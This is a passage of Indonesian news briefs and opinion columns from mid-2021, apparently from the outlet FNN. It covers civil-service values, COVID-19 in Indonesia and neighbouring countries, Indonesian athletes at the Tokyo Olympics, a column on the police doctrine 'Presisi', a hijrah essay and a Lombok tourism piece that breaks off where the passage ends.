Jakarta, FNN - Anggota Komisi II DPR RI Guspardi Gaus mengatakan nilai-nilai inti atau "core values" dan citra pegawai atau "employer branding" yang diluncurkan Presiden Joko Widodo untuk aparatur sipil negara (ASN) harus disikapi dengan perubahan pola pikir atau "mind set" dan budaya melayani. Menurut dia, tujuh poin yang terkandung dalam "Core Values" Berakhlak merupakan satu kesatuan yang saling terkait dan poin pentingnya adalah orientasi pelayanan yang harus dimaknai setiap ASN dengan pelayanan yang berkualitas dan profesional. "Perubahan mind set atau pola pikir dan budaya melayani mesti jadi landasan utama aparatur negara dalam menjalankan tugas dan fungsinya sebagai abdi negara dalam melayani masyarakat", kata Guspardi dalam keterangannya di Jakarta, Senin. Hal itu dikatakannya terkait langkah Presiden Jokowi meluncurkan "core values" Ber-AKHLAK dan "employer branding" Bangga Melayani Bangsa, Selasa (27/7). Ber-AKHLAK adalah kependekan dari Berorientasi Pelayanan, Akuntabel, Kompeten, Harmonis, Loyal, Adaptif, dan Kolaboratif. Guspardi menilai selama ini pelayanan publik aparatur kepada masyarakat yang harus dilayani dirasa masih jauh dari harapan. Menurut dia, pola pikir yang ditunjukkan dengan sikap dan perilaku sebagai "penguasa" masih ada dalam diri para ASN sehingga ASN terperangkap dengan perilaku yang tidak benar. "Masih sering dijumpai pelanggaran oleh ASN, salah satunya dengan mengutip uang atau melakukan praktik pungli untuk mempercepat proses pelayanan. Padahal sebagai ASN telah diberikan gaji yang pantas dalam melaksanakan tugasnya," ujarnya. Menurut dia, pada hakekatnya ASN mempunyai peran strategis sebagai penggerak inti dalam birokrasi pemerintahan sehingga nilai-nilai yang terkandung dalam Core Value Berakhlak harus bisa mempercepat transformasi ASN. Selain itu dia mengatakan, nilai-nilai inti tersebut dapat menciptakan birokrasi yang akuntabel dan adaptif untuk memberikan pelayanan terbaik bagi masyarakat sehingga menjadi fokus utama. "Untuk itu, para ASN dengan berbagai latar belakang profesi di semua tingkatan mulai pusat sampai daerah dan lintas instansi harus menghapus ego sektoral dan punya kesamaan orientasi mengejewantahkan Core Value Berakhlak," katanya. Politisi PAN itu menilai diperlukan perubahan fundamental pada pola pikir dan sikap mental ASN, yaitu budaya melayani serta membantu masyarakat harus tertanam kuat dalam diri setiap ASN. Menurut dia, harus ada perubahan mental birokrasi yang "priyayi" menjadi birokrasi yang berorientasi "melayani" sehingga pola pikir tersebut yang seharusnya dimiliki setiap aparatur negara. Namun dia menilai perubahan pola pikir "melayani" juga memerlukan kolaborasi dari lingkungan organisasi atau instansi tempat aparatur negara mengabdi. "Karena esensinya perubahan sangat dipengaruhi oleh lingkungan dimana para ASN itu melakukan kegiatan tugas dan fungsinya. Sehingga menghasilkan aparatur yang loyal demi terciptanya ASN yang 'Bangga Melayani Bangsa" dapat tercapai," ujarnya. (sws)

HNW: Perkuat Institusi Keluarga dan Solidaritas Sosial Lawan COVID-19

Jakarta, FNN - Wakil Ketua MPR RI Dr Hidayat Nur Wahid (HNW) mengimbau seluruh lapisan masyarakat untuk terus menguatkan institusi atau peran keluarga dan solidaritas sosial guna melawan penyebaran COVID-19 yang masih tinggi. "Perlu peran lanjutan keluarga serta kehadiran pemerintah untuk meningkatkan kapasitas penanganan COVID-19," kata Hidayat Nur Wahid melalui keterangan tertulis yang diterima di Jakarta, Senin. Imbauan tersebut disampaikannya mengingat jumlah warga yang menjalani isolasi mandiri masih cukup tinggi. Sementara, ketersediaan tempat tidur di rumah sakit sangat terbatas. Apalagi, jumlah korban dari kalangan anak-anak pernah menjadi yang tertinggi di dunia. Atas kondisi itu, politisi PKS tersebut merasa prihatin banyak warga yang meninggal ketika isolasi mandiri akibat tidak tertangani dengan baik. Bahkan, anak-anak banyak yang menjadi korban akibat terpapar langsung maupun karena terinfeksi dari orang tuanya. Anggota DPR RI dari daerah pemilihan DKI II tersebut mengaku telah berulang kali memberikan penyuluhan bagi masyarakat soal hidup sehat dan upaya-upaya mengatasi COVID-19. Termasuk pula memberikan berbagai paket bantuan sembako, obat-obatan, alat kesehatan, tabung oksigen, bantuan tunai hingga ambulans untuk layanan kesehatan gratis bagi warga yang terpapar COVID-19. Kendati demikian, apa yang telah diupayakannya, tidak bisa menggantikan peran keluarga apalagi pemerintah yang diwajibkan oleh konstitusi serta memiliki kuasa struktural serta anggaran untuk penanganan COVID-19. Oleh sebab itu, upaya meningkatkan "testing", kapasitas layanan kesehatan baik di rumah sakit maupun warga yang menjalani isolasi mandiri, membayarkan tagihan rumah sakit dan insentif tenaga kesehatan harus terus ditingkatkan. Kemudian termasuk pula memberdayakan seluruh unsur pemerintahan hingga ke satuan terkecil di tingkat rukun tetangga dan rukun warga. (sws)

Greysia/Apriyani Bertekad Meraih Emas di Olimpiade Tokyo

Jakarta, FNN - Tim Indonesia terus berusaha meraih medali emas pada Olimpiade Tokyo 2020. Peluang tersebut ada di pundak ganda putri Greysia Polii/Apriyani Rahayu yang akan bertanding di babak final bulu tangkis di Musashino Forest Sport Plaza, Tokyo, Senin, 2 Agustus 2021. Dalam pertandingan memperebutkan medali emas tersebut, Greysia/Apriyani akan menghadapi wakil China Chen Qing Chen/Jia Yi Fan. Pertandingan sendiri bakal berlangsung pukul 11.50 WIB. Langkah pasangan Greysia/Apriyani ke final merupakan sejarah bagi sektor ganda putri Indonesia karena selama ini sering terganjal. Jadi apa pun hasilnya, ganda putri terbaik tanah air itu pantas mendapatkan apresiasi yang tinggi. Greysia/Apriyani tertinggal secara head-to-head dari Qing/Yi dengan agregat 3-6. “Kami ingin terus menjaga pikiran seperti awal datang ke Tokyo, yaitu menikmati gim agar bisa menunjang performa di lapangan. Kami tidak mau berpikir lawan seperti apa. Persiapan yang harus kami lakukan adalah menjaga ketenangan agar dapat mengontrol permainan serta mempersiapkan diri supaya recovery,” kata Greysia sebagaimana dikutip dari Antara. Selain pasangan Greysia/Apriyani, tunggal putra Anthony Ginting juga akan berusaha mengejar medali perunggu dengan menghadapi wakil dari Guatemala, Kevin Cordon. Pertandingan akan berlangsung pukul 18.00 WIB. "Ini (medali) akan sangat berarti bagi saya. Ini Olimpiade pertama saya, dan saya sudah berusaha keras. Mencapai tahap ini (semifinal) adalah mimpi yang jadi kenyataan. OLeh karena itu, saya tidak mau menyia-nyiakan kesempatan ini," kata Ginting. Selanjutnya atlet Tim Indonesia yang berjuang untuk mengejar medali adalah lifter putri Nurul Akmal yang akan turun di kelas +87 kg dan sesuai dengan jadwal pertandingan berlangsung di Tokyo International Forum pukul 17.50 WIB Berikut jadwal atlet Indonesia pada Senin (2/8/2021) 1. Greysia/Apriyani vs Chen Qing Chen/Jia Yi Fan (bulu tangkis) di Musashino Forest Sport Plaza, Tokyo pukul.11.50 WIB. 2. Anthony Ginting vs Kevin Cordon (bulu tangkis) di Musashino Forest Sport Plaza, Tokyo pukul 18.00 WIB. 3. Nurul Akmal (angkat besi) di Tokyo International Forum pukul 17.50 WIB. (MD).

Sejak Pandemi 436 Pegawai KPK Positif Corona

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mencatat sebanyak 436 pegawainya terkonfirmasi positif COVID-19 sejak awal 2020 sampai dengan 31 Juli 2021. "Kami mencatat sejak awal 2020 sampai dengan 31 Juli 2021 jumlah pegawai yang terkonfirmasi positif Covid-19 sebanyak 436 orang. Khusus pada Kedeputian Penindakan berjumlah 141 orang," kata Pelaksana tugas Juru Bicara KPK, Ali Fikri dalam keterangannya di Jakarta, Senin, 2 Agustus 2021. Sedangkan khusus untuk tahun 2021 ini, kata dia, sebanyak 169 pegawai terpapar Covid-19 dan dari jumlah tersebut, 41 pegawai berasal dari Kedeputian Penindakan. "KPK juga mengalami duka yang mendalam karena selama kurun waktu 2020-2021, sebanyak 10 orang pegawai KPK meninggal dunia dan terakhir adalah Penyidik KPK almarhum Kompol Ardian Rahayudi," ucap Ali sebagaimana dikutip dari Antara. Lebih lanjut, ia mengatakan KPK terus berjuang melawan dan berupaya menyelamatkan insan KPK dari wabah Covid-19. Ia mengungkapkan, beberapa pegawai KPK telah sembuh. Berdasarkan data terakhir, hingga akhir Juli 2021 masih terdapat 44 orang di lingkungan KPK yang masih terpapar Covid-19. Empat orang di antaranya masih dirawat di rumah sakit. Ali menegaskan, dalam situasi pandemi dan keterbatasan personel KPK seperti saat ini, lembaganya memastikan pemberantasan korupsi tetap berjalan. "Meski begitu, KPK tetap mengutamakan keselamatan jiwa insan KPK karena keselamatan jiwa merupakan hukum tertinggi, salus populi suprema lex esto (keselamatan rakyat adalah hukum tertinggi)," kata Ali. Oleh karena itu, kata dia, KPK menyesuaikan teknis pelaksanaan tugas-tugas pemberantasan korupsi melihat kasus positif Covid-19 yang masih relatif tinggi hampir di seluruh wilayah Indonesia. Tidak terkecuali yang menimpa beberapa pegawai KPK. "Mari kita terus berdoa dan berupaya semoga teman-teman yang sedang sakit segera sehat, pandemi segera berlalu, dan negeri ini kembali pulih," ujar dia. (MD).

Ahli Waris Korban Covid Disantuni Rp17 Juta di Malaysia

Kuala Lumpur, FNN - Pemerintah Malaysia melalui Lembaga Pengurusan Bencana Negara (NADMA) memberikan santunan RM5.000 atau Rp17 juta untuk ahli waris warganya yang meninggal dunia karena COVID-19. Kantor Perdana Menteri urusan NADMA dalam penjelasannya di Putrajaya, Selasa, mengatakan bantuan diberikan pada kematian akibat COVID-19 atau kematian dengan COVID-19. Bantuan diberikan hanya bagi orang-orang yang bukti kematiannya memperoleh pengesahan dari Kementerian Kesehatan Malaysia (KKM). "Hanya kematian berkaitan dengan COVID-19 yang melibatkan warga negara Malaysia saja yang akan diberi bantuan khusus melalui permohonan waris si mati," katanya. Mereka menegaskan hanya satu waris yang layak menerima bantuan khusus tersebut. Jika ada permohonan lebih dari satu waris, hanya permohonan pertama yang diberikan bantuan. Para pemohon wajib mengisi formulir permohonan dan memastikan kelengkapan dokumen. Permohonan dengan dokumen yang tidak lengkap akan ditolak. "Pembayaran bantuan khusus ini akan dibuat secara electronic fund transfer kepada pemohon yang layak dalam tempo 30 hari bekerja dan tanggal penerimaan dokumen permohonan yang lengkap," katanya. Sementara itu, Kementerian Wilayah Malaysia mendirikan Pusat Pemberhentian Sementara (PUSARA) untuk mengurus jenazah para korban COVID-19 dari Hospital Kuala Lumpur (HKL) yang menumpuk. Pusat pemberhentian tersebut didirikan di Kompleks Olahraga Institut Sukan Negara, Stadion Jalan Raja Muda, Kampung Baru, Kuala Lumpur, yang berdekatan dengan HKL. (sws)

Polisi Presisi

Oleh Sugengwaras PRESISI (Prediktif, Responsibilitas, Transparansi berkeadilan) adalah gagasan Komjen Pol Sigit Listyo Prabowo, yang dijadikan andalan dalam menembus jabatan Kapolri, yang akhirnya dijadikan pedoman kerja dalam kegiatan Polri selama di bawah kepemimpinannya. Ini luar biasa, karena jika Polri komitmem dan konsisten, sama halnya pedoman kerja/kegiatan Kapolri LSP benar-benar menjadi harapan rakyat bangsa, meskipun nyaris berbenturan dengan pedoman kerja/kegiatan Jendral Polisi Tito Karnavian sewaktu menjabat Kapolri sebelumnya, yang populer dengan telah mencanangkan Democratic Policy. Tampaknya Jendral Tito terbelenggu pada pemikirannya sendiri, yang bermimpi mengabaikan kemampuan TNI dan merasa paling mampu sendiri. Meskipun ada perbedaan keduanya, namun sama-sama berlandaskan doktrin Polisi TRI BRATA dan CATUR PRASETYA POLRI. Jika kita cermati lebih dalam, sebenarnya doktrin Tribrata dan Catur Prasetya yang dirumuskan oleh tim perumus yang dipimpin oleh Kepala PTIK yang berpangkat Letkol Polisi, ada beberapa makna butir yang perlu direnungkan kembali. Kelemahan doktrin itu menjadi lebih jelas ketika kita sandingkan dan bandingkan dengan doktrin TNI, SAPTA MARGA dan SUMPAH PRAJURIT. Tersurat dan tersirat, bahwa TRI BRATA mengatasnamakan satuan Polri, sedangkan Sapta Marga mengatasnamakan satuan TNI. Di sisi lain, Catur Prasetya Polri, mengatas namakan individu atau perorangan Polri, sedangkan Sumpah Prajurit juga mengatasnamakan individu atau perorangan TNI. Sapta Marga yang mencakup peran dan tugas WNI dan prajurit sebagai garda terdepan serta benteng terakhir negara, terukur untuk dicapai oleh satuan, dan Sumpah Prajurit terukur untuk dicapai oleh seorang prajurit. Sedangkan TRI BRATA, pada butir kedua mencakup kebenaran, keadilan, dan kemanusiaan sama sekali tidak menyinggung kejujuran Padahal kebenaran dan keadilan harus dilandasi kejujuran, agar benar dan adil bedasarkan pikiran, ucapan dan tindakan secara jujur yang sebenar benarnya. Begitu juga, dalam Catur Prasetya Polri, tidak mungkin sebagai insan Bhayangkara mampu meniadakan segala bentuk, jenis dan sifat gangguan keamanan, menyelamatkan jiwa, harta benda dan hak azasi manusia serta menjamin keselamatan manusia dan kepastian hukum (iimposible) Maka hendaknya Polri perlu untuk merenungkan dan berbenah diri, guna menyesuaikan doktrin sebagai landasan jatidiri untuk menjalankan peran, fungsi dan tugasnya Kembali terkait Polisi Presisi , demi marwah dan citra kepolisian, maka Jendral LSP harus konsisten dan komitmen, untuk independensi dan konfidensi mewujudkan satunya kata dengan perbuatan, meskipun harus berjibaku dan berhadapan dengan pihak manapun dan siapapun Dengan kata lain, Kapolri harus cerdas, jeli, peka dan peduli dalam memprediksi segala jenis, bentuk dan sifat gangguan keamanan, yang dilakukan secara bijak, bertanggung jawab, efektif, efisien dan transparan. Kongkritnya, Kapolri jangan seperti Lidah Tak Bertulang dalam penegakan dan tindakan hukum, seperti pengabaian terhadap bahaya komunis/PKI, diskriminasi terhadap ulama termasuk HRS, Munarman dan kawan kawan, kasus penembakan terhadap 6 orang FPI laskar HRS di KM 50 jalan Tol Japek, kerumunan akibat kegiatan presiden Jokowi, Gibran, Kofifah, pelemahan KPK, membludaknyaTKA Cina ke Indonesia, munculnya UU dan peraturan perundang undangan yang tidak pro-rakyat, besarnya hutang yang berlebihan dan beresiko signifikan terhadap obyek strategis negara, bancakan dengan koruptor Harun Masiku, Joko Chandra dan lain lain, agar niat dan tekad Kapolri tidak berubah menjadi bumerang dan ngebadik pada dirinya sendiri. Namun semuanya kembali dan sangat tergantung niat dan nyali Jendral LSP, apakah ingin hidup mulya atau hidup hina nistapa. Wait and see.... *) Pemerhati Pertahanan dan Keamanan NKRI )

PM Thailand Dituntut Mundur Saat Covid19 Melonjak

Bangkok, FNN - Pengunjuk rasa di Thailand berkonvoi di jalan-jalan dengan mobil dan motor pada Minggu untuk menuntut pengunduran diri Perdana Menteri Prayuth Chan-ocha. Chan-ocha dianggap gagal menangani wabah ketika negara itu berjuang melawan lonjakan tertinggi kasus COVID-19 selama pandemi. Di Bangkok, pengendara mobil membunyikan klakson dan pengendara motor memberi salam tiga jari --simbol perlawanan yang terinspirasi dari film "The Hunger Games-- ketika melintasi jalan sejauh 20 km dari Monumen Demokrasi di pusat ibu kota ke Bandara Internasional Don Muang. "Kami nyaris tak bisa mencari nafkah sekarang, semua anggota keluarga kami terkena dampaknya," kata Chai, pengunjuk rasa berusia 47 tahun yang enggan menyebut nama lengkapnya, dari dalam mobil. "Pemerintah gagal memberi vaksin tepat waktu dan banyak dari kami yang belum divaksin," kata dia. "Jika kami tidak turun ke jalan menyampaikan seruan, pemerintah akan mengabaikan kami." Protes serupa juga digelar di provinsi-provinsi lain. Negara di Asia Tenggara itu berencana memvaksinasi 50 juta orang hingga akhir 2021. Sejauh ini baru 5,8 persen dari 66 juta lebih penduduknya yang sudah divaksin lengkap, sementara warga yang baru menerima satu dosis mencapai 21 persen. Pada Minggu, Thailand melaporkan 18.027 kasus baru dan 133 kematian akibat COVID-19, sehingga totalnya menjadi 615.314 kasus dan 4.990 kematian. (sws) Sumber: Reuters

MUI Ingatkan Ilmuwan Indonesia Jangan Anggap Remeh Jakarta Tenggelam

Jakarta, FNN - Majelis Ulama Indonesia (MUI) meminta para ilmuwan Indonesia tidak menganggap enteng prediksi DKI Jakarta akan tenggelam sebagaimana disampaikan Presiden Amerika Serikat Joe Biden beberapa hari lalu. "Pernyataan Joe Biden itu hendaknya jangan kita anggap enteng," ujar ​​Wakil Ketua Umum MUI Anwar Abbas dalam pernyataan resminya di Jakarta, Senin. Sebelumnya, Biden mengatakan bahwa bila perubahan iklim yang ekstrem terjadi di dunia ini, maka Jakarta akan terancam tenggelam dalam 10 tahun ke depan. Abbas mengatakan kewaspadaan dini para ilmuwan saat ini dibutuhkan agar tidak ada kesan membiarkan persoalan menjadi berlarut-larut hingga kondisi bahaya tampak di depan mata. Ia berharap agar para pemimpin dan ilmuwan di negeri ini, terutama mereka yang bidang tugas dan keahlian serta keilmuannya memang terkait dengan masalah perubahan iklim dan pemanasan global untuk bersatu melakukan langkah-langkah serta studi. "Itu untuk disumbangkan kepada dunia dan kepada pemerintah sendiri tentang cara mengantisipasi persoalan tersebut," katanya. ​​​​​​​Abbas berpendapat, perubahan iklim itu terjadi karena pesatnya pembangunan di seluruh dunia saat ini meningkatkan peredaran emisi karbon (CO2 emission) yang mendorong terjadinya kenaikan suhu, sehingga iklim pun berubah. "​​​​​​​Hal itu jelas akan menimbulkan dampak katastropik yang mengerikan yang akan bisa mengancam dunia secara keseluruhan terutama negara kita Indonesia dan lebih-lebih lagi (Ibu) Kota Jakarta," katanya. Menurut Abbas, permukaan tanah di Jakarta menurun setiap tahunnya, sedangkan naiknya permukaan air laut karena pemanasan global menyebabkan mencairnya es yang ada di Kutub Utara dan Selatan. Oleh karena itu, pemerintah baik di tingkat pusat maupun daerah harus berkoordinasi memikirkan bagaimana Indonesia bisa berkontribusi bersama negara-negara lain di dunia untuk menghambat dan mencegah terjadinya perubahan iklim global tersebut dan mencegah dampak buruk menimpa bangsa Indonesia. "Kita sebagai bangsa diharapkan juga sudah harus siap dan punya berbagai alternatif dan solusi serta langkah-langkah yang harus dilakukan untuk mengantisipasi dan menghadapi masalah tersebut agar kita bisa meminimalisir resiko dan dampak buruk yang akan menimpa negeri kita akibat dari perubahan iklim dan pemanasan global tersebut terutama (Ibu) Kota Jakarta," kata Abbas. (sws)

Hijrah Bukan Lari, tapi Konsolidasi

By M Rizal Fadillah SEBENTAR lagi bulan Muharam sebagai tanda pergantian tahun dalam kalender Islam. Dasar penetapan tahun baru adalah hijrah Nabi, bukan kelahiran atau wafatnya. Hijrah adalah pilihan tepat karena dimensinya adalah perjuangan. Titik balik kegemilangan sejarah Islam di masa awal pergerakan keumatan. Banyak yang keliru dengan menyatakan bahwa hijrah adalah lari dari medan da'wah di Makkah. Anggapan ini hanya semata melihat pada kondisi ketidakberdayaan. Ternyata tidak, Rosulullah memerintahkan hijrah dengan didahului adanya Bai'atul Aqabah yakni kesiapan warga Madinah (Yastrib) yang bersumpah untuk menerima dan berjuang bersama. Hijrah adalah konsolidasi kekuatan. Lima hal yang menandai konsolidasi, yaitu : Pertama, berjuang dengan strategi. Sejak mendahulukan umat bergelombang untuk berangkat ke Madinah, siasat "deception" mengganti posisi diri oleh Ali bin Abi Thalib, bergerak ke selatan Gua Tsur mengecoh dugaan ke utara, hingga berjalan "zig-zag" di jalur menuju Madinah adalah contoh bahwa hijrah itu berstrategi. Kedua, membangun kekuatan atas dasar persaudaraan (fraternite, ukhuwah). Sejak di Jabal Tsur persaudaraan dengan Abu Bakar Shiddiq, lalu membangun "persaudaraan dua-dua" (akhowain fillah), hingga persaudaraan kolektif Muhajirin dengan Anshor adalah upaya untuk membangun kekuatan "ukhuwwah qiwwamul quwwah" (persaudaraan adalah tonggak kekuatan). Ketiga, membangun markas besar pengelolaan perjuangan yakni Masjid. Masjid Nabawi bukan hanya sebagai tempat ibadah terapi juga markas pengelolaan kemasyarakatan dan kenegaraan. Nabi menerima tamu kenegaraan dan mengomando pasukan dari Masjid. Masjid adalah pusat peribadahan dan kebudayaan. Keempat, hijrah mengokohkan kepemimpinan kenabian, mempersatukan seluruh elemen strategis, membangun komitmen konstitusional "Piagam Madinah", serta merencanakan "revolusi tanpa darah" Futuh Makkah. Membersihkan Makkah dari kekotoran dan kezaliman. Kelima, hijrah itu konsolidasi untuk mengobarkan semangat jihad menegakkan agama dalam membangun peradaban berbasis iman. Paket tak terpisahkan dalam memenangkan dan mensukseskan misi keagamaan adalah beriman, berhijrah, dan berjihad (QS Al Anfal 74). Jadi, hijrah bukan lari melainkan konsolidasi sebab lari dari medan juang itu terlarang dan termasuk salah satu dari dosa besar di samping syirik, dukun sihir, membunuh, makan riba, makan harta yatim, dan menuduh zina. Nabi dan para sahabat melakukan konsolidasi di Madinah untuk mengembangkan da'wah agar lebih efektif dan kualitatif. Tahun baru Islam yang dimulai beberapa hari ke depan bulan Muharam adalah momentum umat Islam untuk melakukan konsolidasi. Bersatu dan mengokohkan persaudaraan, menata kepemimpinan dan memperkuat strategi pemenangan. Hijrah adalah jalan untuk melawan kezaliman, menegakkan keadilan dan membersihkan kemunafikan. *) Pemerhati Politik dan Keagamaan

IOC Tolak Permintaan Heningkan Cipta Bom Hiroshima

Jakarta, FNN - Komite Olimpiade Internasional (IOC) menolak permintaan dilangsungkannya mengheningkan cipta khusus untuk memperingati peristiwa bom atom Hiroshima pada 6 Agustus nanti dan menyatakan akan memberi penghormatan mereka dalam rangkaian upacara penutupan Olimpiade Tokyo 2020. Sebelumnya, Wali Kota Hiroshima Kazumi Matsui mengirimkan surat tertanggal 28 Juli kepada Presiden IOC Thomas Bach mengajukan permintaan agar Olimpiade Tokyo 2020 melangsungkan peringatan khusus terhadap peristiwa yang terjadi pada 1945 itu. "Saya berharap bahwa atlet dan orang-orang yang bersentuhan dengan Olimpiade akan menyentuh realitas bom atom dalam cara tertentu," kata Matsui dalam surat yang belakangan disiarkan di laman resmi pemerintah kota Hiroshima. "Saya ingin tahu apakah Anda dapat meminta mereka mengheningkan cipta pada 6 Agustus pukul 8.15 di kampung atlet atau di mana pun mereka berada dan berpartisipasi dalam Upacara Peringatan Perdamaian yang akan dilangsungkan di Hiroshima dalam pikiran mereka," tulisnya dalam surat yang sama. Bom atom yang dijatuhkan tentara Amerika Serikat kala itu meratakan kota Hiroshima dan menewaskan 140 ribu jiwa hingga akhir tahun 1945. Bach sempat mengunjungi Hiroshima pada 16 Juli, sepekan sebelum upacara pembukaan Olimpiade Tokyo 2020, meletakkan karangan bunga di tugu makan Hiroshima Peace Memorial Park dan menyebut Olimpiade bisa menjadi "obor harapan" perdamaian masa depan. Kendati demikian permintaan Hiroshima belakangan ditolak dan salah seorang juru bicara panitia Olimpiade Tokyo 2020 menyatakan peringatan tragedi itu akan dimasukkan ke dalam upacara penutupan. "Seturut IOC, sejak Olimpiade Rio, program penghormatan terhadap orang-orang yang kehilangan nyawa akibat peristiwa menyedihkan dalam sejarah dan berbagai alasan lain selalu dimasukkan ke dalam upacara penutupan," kata Masa Takaya dalam email yang dilansir Reuters, Minggu. "Saya memahami kebijakan IOC untuk berbagi pikiran dengan orang-orang di Hiroshima pada kesempatan itu," ujarnya menambahkan. Upacara penutupan Olimpiade Tokyo 2020 dijadwalkan berlangsung pada 8 Agustus. (sws)

Kemenkes: Varian Delta Menyebar ke Seluruh Wilayah Indonesia

Jakarta, FNN - Juru Bicara Vaksinasi COVID-19 Kementerian Kesehatan RI Siti Nadia Tarmizi melaporkan varian Delta telah menyebar hampir merata di seluruh daerah di Indonesia berdasarkan hasil penelitian spesimen. "Varian Delta mendominasi 86 persen spesimen yang dilakukan sequencing dalam 60 hari terakhir, berasal dari 24 provinsi, sehingga dapat dikatakan persebaran ini hampir merata di seluruh Indonesia," kata Siti Nadia melalui pernyataan tertulis yang diterima di Jakarta, Ahad. Nadia mengatakan jejaring laboratorium genomic sequencing atau metode pengurutan genom untuk memetakan mutasi virus di bawah komando Badan Penelitian dan Pengembangan Kesehatan (Litbangkes) terus berupaya menelusuri pola persebaran varian virus COVID-19 di Indonesia. Sejak awal 2021 hingga 28 Juli, kata Nadia, Indonesia telah melaporkan 3.651 hasil pengurutan genom ke dalam database global. Tercatat di dalamnya, tiga dari empat varian virus corona yang harus diwaspadai, yaitu varian Alfa, Beta dan Delta. Menurut Nadia, laporan tersebut patut menjadi perhatian bersama, mengingat potensi penularan varian baru corona di Indonesia masih sangat tinggi. Untuk menekan penyebaran COVID-19, kata Nadia, pemerintah melakukan penguatan testing dan tracing terutama di pemukiman padat penduduk. Mekanisme tracing atau pelacakan juga menggunakan sistem perangkat lunak Silacak untuk memudahkan mengetahui kontak erat pasien. Penduduk yang mengalami kontak erat akan diarahkan untuk dikarantina. Nadia menambahkan pemerintah berkomitmen untuk meningkatkan volume testing dari sekitar 300 ribu menjadi 500 ribu testing per hari. "Kita juga lakukan percepatan vaksin untuk menaikkan imunitas tubuh. Vaksinasi juga mengurangi risiko tertular, menderita sakit berat, bahkan risiko kematian dari pasien terjangkit COVID-19," ujarnya. Nadia juga meminta partisipasi dan kesadaran masyarakat dalam membantu menghambat, bahkan memutus transmisi virus dengan patuh pada protokol kesehatan. "Sebagai tindak pencegahan penyebaran, masyarakat yang terdeteksi sebagai kasus positif, diharapkan langsung melapor kepada petugas setempat agar dapat dipantau dan dihubungkan dengan akses kesehatan," katanya. Nadia mengatakan tren penambahan kasus masih tinggi dengan rata-rata 40 ribuan kasus per hari dan tidak ada wilayah yang steril dari COVID-19. Sementara potensi penularan varian Delta sangat tinggi dan menjadi salah satu faktor meningkatnya angka kematian. ( sws)

Budi Gunawan, BIN Prioritaskan Vaksin Pondok Pesantren

Jakarta, FNN - Kepala Badan Intelijen Negara (BIN) Jenderal Polisi (Purn) Budi Gunawan menyebutkan salah satu prioritas utama BIN adalah melaksanakan vaksinasi COVID-19 di pondok pesantren. "Pondok pesantren merupakan ujung tombak ketahanan kita, karena di sinilah para generasi muda dididik untuk aspek religius, kemudian nasionalis dan toleran," kata Budi dalam keterangan tertulis di Jakarta, Minggu. Budi Gunawan meninjau langsung pelaksanaan vaksinasi COVID-19 bagi para santri di Pondok Pesantren Ummul Qura, Jl Pondok Cabe Raya, Pamulang, Tangerang Selatan, Banten. "Ketahanan NKRI kita ada di sini, sehingga ini menjadi prioritas sesuai dengan arahan Presiden Joko Widodo terkait vaksinasi di kalangan pelajar," jelas Budi. Budi menyatakan total sebanyak 7.000 vaksinasi yang hendak digelar BIN pada Minggu (1/8) tersebut tersebar di wilayah Banten, Jawa Barat, hingga Jawa Timur. "Hari ini kami masuk di beberapa titik di provinsi Banten, yaitu di Tangerang kemudian di Pandeglang. Kemudian di Bekasi ada tiga titik pondok pesantren. Termasuk di Jawa Timur, ada lima pondok pesantren yang kita datangi untuk melakukan program itu" ucapnya. Budi Gunawan mengungkapkan alasan dipilihnya ketiga wilayah itu karena berada di kawasan zona hitam penyebaran COVID-19. "Spot-spot ini kita pilih karena lonjakan angka positif ratenya cukup tinggi dan sudah menjadi zona hitam sehingga kami masuk di tiga titik tersebut," kata Budi. Sementara itu, Pimpinan Ponpes Ummul Qura KH Syarif Rahmat mengucapkan terima kasih kepada BIN dan semua pihak yang bahu-membahu berperang melawan virus corona. "Saya berharap kepada saudara-saudara saya para kiai, para ulama, para guru, seluruh pendidik, dan masyaraka, untuk bahu membahu menolong dan menyampaikan bahwa saatnya kita berperang. Tidak boleh berbeda pendapat," jelas Syarif. (sws)

Partai Gelora Gunakan Medsos Beri Pendidikan tentang COVID-19

Jakarta, FNN - Sekretaris Jenderal Partai Gelora Mahfuz Sidik mengatakan partainya mengembangkan penggunaan media sosial (medsos) untuk memberikan pendidikan tentang pandemi COVID-19 kepada masyarakat. "Saat ini kami berpartisipasi dalam program informasi edukasi tentang pandemi COVID-19. Kami lakukan dengan pendekatan keagamaan, medis, dan sosial," kata Mahfuz dalam keterangan tertulis di Jakarta, Minggu. Mahfuz mengklaim dengan program tersebut ikut meningkatkan pengenalan masyarakat terhadap Partai Gelora. Hal itu terlihat dari hasil Lembaga Survei Suara Milenial Institute, dimana elektabilitas Partai Gelora sebagai partai baru mencapai 1,5 persen dan menggeser elektabilitas beberapa partai lama. "Angka 1,5 persen sebagai bukti bahwa kerja struktur dan anggota partai berjalan semakin efektif," ujar Mahfuz. Selain itu, kata dia, beberapa lembaga survei seperti Litbang Kompas, Parameter Politik Indonesia, dan Rekode Research Center menilai pengenalan atau popularitas dan elektabilitas Partai Gelora tertinggi di antara partai-partai baru. Dalam situasi pandemi, kata Mahfuz, tidak mudah untuk melakukan konsolidasi apalagi bagi partai baru. Mayoritas kader Partai Gelora adalah anak muda dengan berbagai latar belakang, termasuk dari sejumlah partai lama. Menurut Mahfiuz, struktur Partai Gelora secara nasional sudah hampir rampung. Partai Gelora sudah memiliki kepengurusan 100 persen di tingkat DPW (provinsi), DPD (kabupaten/kota), dan DPC (kecamatan) sebanyak 80 persen. "Akhir tahun ini akan kami tuntaskan 100 persen atau 7.235 DPC," kata Mahfuz. Ada pun jumlah kader saat ini lebih dari 300 ribu orang dengan angka pertumbuhan jumlah anggota sangat progesi, mencapai 2.000 orang per hari. (sws)

Pesona Wisata Alam Gunung Jae Lombok

Lombok Barat, FNN - Kabupaten Lombok Barat merupakan salah satu wilayah di Nusa Tenggara Barat yang memiliki banyak tempat wisata alam menarik untuk dikunjungi. Ada banyak tempat yang direferensikan untuk wisatawan selain pantai Senggigi, Taman Narmada atau pulau pulau kecil (Gili) di Sekotong. Salah satunya yang patut dikunjungi di wilayah ini yakni, destinasi wisata alam Gunung Jae. Lokasi wisata ini berada di Desa Sedau, Kecamatan Narmada, Kabupaten Lombok Barat, NTB. Kawasan wisata ini berada 25 kilometer dari pusat Kota Mataram, Ibu Kota Provinsi NTB. Areal wisata alam ini dikelilingi perbukitan dan persawahan yang mengitari sungai layaknya danau. Airnya jernih, tenang, dan pemandangannya sangat eksotik. Kumpulan air berbentuk danau inilah yang kemudian menjadi objek utama di lokasi wisata alam ini. Sebelum menjadi destinasi wisata, tempat ini awalnya adalah lokasi tambang bahan galian C seperti pasir dan tanah uruk. Namun, sadar akan 